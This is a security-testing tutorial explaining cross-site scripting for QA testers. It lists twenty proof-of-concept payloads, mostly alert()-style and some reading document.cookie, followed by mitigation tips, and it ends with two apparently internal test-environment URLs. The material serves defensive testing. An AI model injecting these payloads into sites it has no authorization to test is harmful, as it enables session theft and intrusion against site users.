What is XSS?

Cross Site Scripting also known as **XSS** , is one of the most common web application vulnerabilities that allows an attacker to run his own **client side scripts(especially Javascript**) into web pages viewed by other users.

Basically client side script means we can submit our Javascript code from the front end, particularly in few areas where we can steal most confidential information from that Web Application.

This is one of the methods of Security Testing for validating that our Web Applications are exposed to XSS vulnerabilities or are there any kind of loopholes in terms of data leakage.

Where can the Attacker run his scripts?

There are 3 main areas where we can check our Web application is exposed to XSS

1. **Injecting scripts via input fields (**e.g. Textboxes, comment sections, search bars**)**
2. **Form Submission -** Ex "Contact us" page where the user passes his PI info.
3. **URL Post String -** Sending crafted URLs that contain the malicious script**.**
   Ex - https://www.google.co.in/#q=web+application — With normal search

   https://www.google.co.in/#q= **<script>alert(document.cookie)</script>** – Here we can pass malicious script in URL string

The information which we are providing is sitting on the servers of the Web application. Any application exposed to XSS so there are high changes of vulnerability threats in terms of users PI data.

Potential Risks:

1. Stealing session cookies to hijack accounts.
2. Logging keystrokes or capturing sensitive information.
3. Redirecting users to malicious websites.
4. Altering the content of web pages to mislead users.

XSS proof of concept:

You can confirm most kinds of XSS vulnerability by injecting a payload that causes your own browser to execute some arbitrary JavaScript. It's long been common practice to use the alert() function for this purpose because it's short, harmless, and pretty hard to miss when it's successfully called. In fact, you solve the majority of our XSS labs by invoking alert() in a simulated victim's browser.

Detecting XSS Vulnerabilities on Websites:

As a Security Testing QA, our job is to review websites from different perspectives to find potential security weaknesses. This means trying out simple JavaScript code to see if the site wrongly accepts HTML inputs under textboxes, edit boxes, or form submissions. Here we're not hacking the site but checking if this behavior could lead to security issues.

Textbox inputs are often exploited to inject malicious code. Therefore, edit/text boxes should not allow the submission of HTML content to the server. If HTML is permitted, attackers could inject JavaScript code into the web application, potentially gaining access to sensitive information such as cookies, session IDs, usernames, passwords, or other personal data.

Below are list of commonly used code for XSS:

1. **Basic JavaScript Alert**

```
<script>alert(document.cookie);</script>
```

2. **Image Tag with onerror Event**

```
<img src="invalid.jpg" onerror="alert(document.cookie);">
```

3. **Anchor Tag with href and onclick**

```
<a href="#" onclick="alert(document.cookie)">Click me</a>
```

4. **iframe Injection**

```
<iframe src="javascript:alert('XSS');"></iframe>
```

5. **input Field with onfocus**

```
<input type="text" value="Click me" onfocus="alert('XSS')">
```

6. **body Tag with onload**

```
<body onload="alert('XSS')">
```

7. **div Tag with onmouseover**

```
<div onmouseover="alert('XSS')">Hover over me</div>
```

8. **svg with onload**

```
<svg onload="alert('XSS')"></svg>
<svg onload="alert(document.cookie)"></svg>
```

9. **textarea with oninput**

```
<textarea oninput="alert('XSS')">Type something</textarea>
```

10. **Malicious URL in an a Tag**

```
<a href="javascript:alert('XSS')">Click me</a>
```

11. **style Tag with expression (Deprecated)**

```
<div style="width: expression(alert('XSS'));">
```

12. HTML Comment Bypass

```
<!--><script>alert('XSS');</script> -->
```

13. Event Handlers in HTML Attributes

```
<marquee onstart="alert('XSS')">Scrolling Text</marquee>
```

14. button Tag with onclick

```
<button onclick="alert('XSS')">Click me</button>
```

15. Base64 Encoded Payload

```
<img
src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoJ1hTUycpPjwvc3ZnPg=="
/>
```

16. Object Tag with Data URI

```
<object
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></object>
```

17. CSS Injection

```
<style>body{background:url("javascript:alert('XSS')")}</style>
```

18. iframe with srcdoc (HTML5)

```
<iframe srcdoc="<script>alert('XSS')</script>"></iframe>
```

19. audio Tag with src and onerror

```
<audio src="invalid.mp3" onerror="alert('XSS')"></audio>
```

20. Polyglot XSS (Advanced)

```
"><script>alert(1)</script>
```

Types of XSS:

1. **Stored XSS**: The malicious script is stored on the server (e.g., in a database) and served to users later.
2. **Reflected XSS**: The malicious script is reflected off a web server and executed in the user’s browser immediately.

Handling XSS Vulnerabilities on Websites:

from developers perspective - should not allow or keep tight filters on front end to cut down these HTML/Javascript codes to enter into Textboxes. And make sure to have the same restriction on URL posting as well.

Two Ways to restrict XSS scripting

1. Filtering input from Front end as well as on URL Posting
2. Output Encoding on backend code – Validate under “View page source” how the input is sitting on HTML markup

References:

1.https://portswigger.net/web-security/cross-site-scripting
2.https://portswigger.net/web-security/cross-site-scripting/reflected

===========

Unify Links:
https://unify-vapt.smsgupshup.com/WhatsApp/Analytics_VAPT/views/message_template/create

https://qa-unify.gupshup.io/Analytics/views/message_template/create_options